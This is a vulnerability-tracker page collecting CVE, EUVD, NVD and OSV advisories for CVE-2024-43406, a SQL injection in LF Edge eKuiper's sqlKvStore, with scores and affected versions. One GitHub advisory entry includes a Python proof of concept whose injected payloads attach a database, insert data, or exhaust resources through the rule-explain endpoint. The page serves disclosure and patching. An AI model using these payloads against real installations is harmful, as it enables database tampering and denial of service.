Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

LF Edge eKuiper has a SQL Injection in sqlKvStore

CVSS 3.1 8.8 HIGHEUVD CVSS 3.1 8.8 CVSS 3.1 · [email protected] · Secondary 8.8 HIGHCVSS 3.1 · [email protected] · Primary 8.8 HIGHCVSS_V3 CVSS_V4 Publisher rating HIGHFixed by github.com/lf-edge/ekuiper 1.14.2Fixed by ekuiper 1.14.2osv · severity unknownFixed by github.com/lf-edge/ekuiper 1.14.2KEV status unknown

cve-program · CVE-2024-43406

Published

LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.

Read the publisher's advisory

euvd · EUVD-2024-0054

Published

LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.

Read the publisher's advisory

nvd · CVE-2024-43406

Published

LF Edge eKuiper is a lightweight IoT data analytics and stream processing engine running on resource-constraint edge devices. A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. This vulnerability is fixed in 1.14.2.

Read the publisher's advisory

osv · GHSA-r5ph-4jxm-6j9p

Published

### Summary A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. ### Details I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc. The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277 The rule id in the above code can be used to exploit SQL query. Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141 ### PoC ``` import requests from urllib.parse import quote # SELECT val FROM 'xxx' WHERE key='%s'; payload = f"""'; ATTACH DATABASE 'test93' AS test93; CREATE TABLE test93.pwn (dataz text); INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--""" #payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--" url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler res = requests.get(url) print(res.content) ``` The screenshot shows the malicious SQL query to insert a value: ![image](https://github.com/user-attachments/assets/baf035cc-a561-4909-8d1f-e455e75375cb) The screenshot shows the breakpoint of executing the query: ![image](https://github.com/user-attachments/assets/b9c29945-a0cc-4271-bdc8-c1bddfda5b6f) ### Impact SQL Injection vulnerability The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.

Read the publisher's advisory

osv · GO-2024-3078

Published

LF Edge eKuiper has a SQL Injection in sqlKvStore in github.com/lf-edge/ekuiper

Read the publisher's advisory

Affected versions, risk and source history

cve-program · CVE-2024-43406

Published

ekuiper

Vendor product

Publisher's version information

Shown as published. These rules are not interpreted as NuGet package version ranges.

{
                    "vendor": "lf-edge",
                    "product": "ekuiper",
                    "versions": [
                        {
                            "version": "< 1.14.2",
                            "status": "affected"
                        }
                    ]
                }

Original source record · Cite this exact observation · Complete original publisher JSON

euvd · EUVD-2024-0054

Published

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 20, 2024, 3:00:06 PM

dateUpdated: Aug 20, 2024, 5:42:14 PM

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

nvd · CVE-2024-43406

Published

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-89

Original publisher date fields

published: 2024-08-20T15:15:24.070

lastModified: 2026-06-17T07:50:59.123

1 source CPE criteria · context only
  • cpe:2.3:a:lfedge:ekuiper:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GHSA-r5ph-4jxm-6j9p

Published

github.com/lf-edge/ekuiper

Go

SEMVER · introduced 0 → fixed 1.14.2

ekuiper

PyPI

ECOSYSTEM · introduced 0 → fixed 1.14.2

131 versions listed as affected

0.0.1.post10035392509, 0.0.1.post10469657945, 0.0.1.post10592133245, 0.0.1.post10917063435, 0.0.1.post11433945270, 0.0.1.post11434361037, 0.0.1.post11771214162, 0.0.1.post12369050331, 0.0.1.post14569587727, 0.0.1.post15011016639, 0.0.1.post15265245754, 0.0.1.post1529761077, 0.0.1.post16017439871, 0.0.1.post16212420887, 0.0.1.post1640190752, 0.0.1.post16436220442, 0.0.1.post1656951467, 0.0.1.post1661454534, 0.0.1.post1707338123, 0.0.1.post17425391204, 0.0.1.post17934265679, 0.0.1.post18767826745, 0.0.1.post1926549727, 0.0.1.post19563876430, 0.0.1.post2080668443, 0.0.1.post2238139389, 0.0.1.post24644496127, 0.0.1.post2474892687, 0.0.1.post24975255951, 0.0.1.post26427369374, 0.0.1.post2757722354, 0.0.1.post2910672767, 0.0.1.post2911616762, 0.0.1.post3144438011, 0.0.1.post31763794892, 0.0.1.post3239329472, 0.0.1.post3334144675, 0.0.1.post3334852441, 0.0.1.post3410331757, 0.0.1.post3411321026, 0.0.1.post34304345391, 0.0.1.post3495668732, 0.0.1.post3545948676, 0.0.1.post3712037225, 0.0.1.post3764011091, 0.0.1.post3936265927, 0.0.1.post3954842791, 0.0.1.post4180521993, 0.0.1.post4435707843, 0.0.1.post4562358382, 0.0.1.post4720014312, 0.0.1.post5010322351, 0.0.1.post5065833905, 0.0.1.post5265725915, 0.0.1.post5484225879, 0.0.1.post5899657036, 0.0.1.post6045113904, 0.0.1.post6144238120, 0.0.1.post6453363172, 0.0.1.post6555916078, 0.0.1.post6820182077, 0.0.1.post7205401650, 0.0.1.post7257106983, 0.0.1.post7404344961, 0.0.1.post7405252226, 0.0.1.post7458781898, 0.0.1.post7797037221, 0.0.1.post7983964087, 0.0.1.post8014428509, 0.0.1.post8150341330, 0.0.1.post8273699428, 0.0.1.post8319707068, 0.0.1.post8478752636, 0.0.1.post8782256682, 0.0.1.post8813247801, 0.0.1.post8829897389, 0.0.1.post9220188115, 0.0.1.post9638601298, 0.0.1.post9690215560, 0.0.1.post9736400841, 1.10.0, 1.10.1, 1.10.2, 1.11.0, 1.11.1, 1.11.2, 1.11.3, 1.11.4, 1.11.5, 1.12.0, 1.12.1, 1.12.2, 1.12.3, 1.12.4, 1.12.5, 1.12.6, 1.12.7, 1.12.8, 1.13.0, 1.13.1, 1.13.2, 1.13.3, 1.13.4, 1.13.5, 1.13.6, 1.14.0, 1.14.1, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.5.0, 1.5.1, 1.6.0, 1.6.1, 1.6.2, 1.6.3, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.7.4, 1.7.5, 1.7.6, 1.8.0, 1.8.1, 1.8.2, 1.9.0, 1.9.1, 1.9.2

Original source record · Cite this exact observation · Complete original publisher JSON

osv · GO-2024-3078

Published

github.com/lf-edge/ekuiper

Go

SEMVER · introduced 0 → fixed 1.14.2

Original source record · Cite this exact observation · Complete original publisher JSON

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 16 Nov 10:01 UTC · 274 of 275 readable · 252 fully read · 18 waiting for GitHub's hourly limit · documentation 469/469 current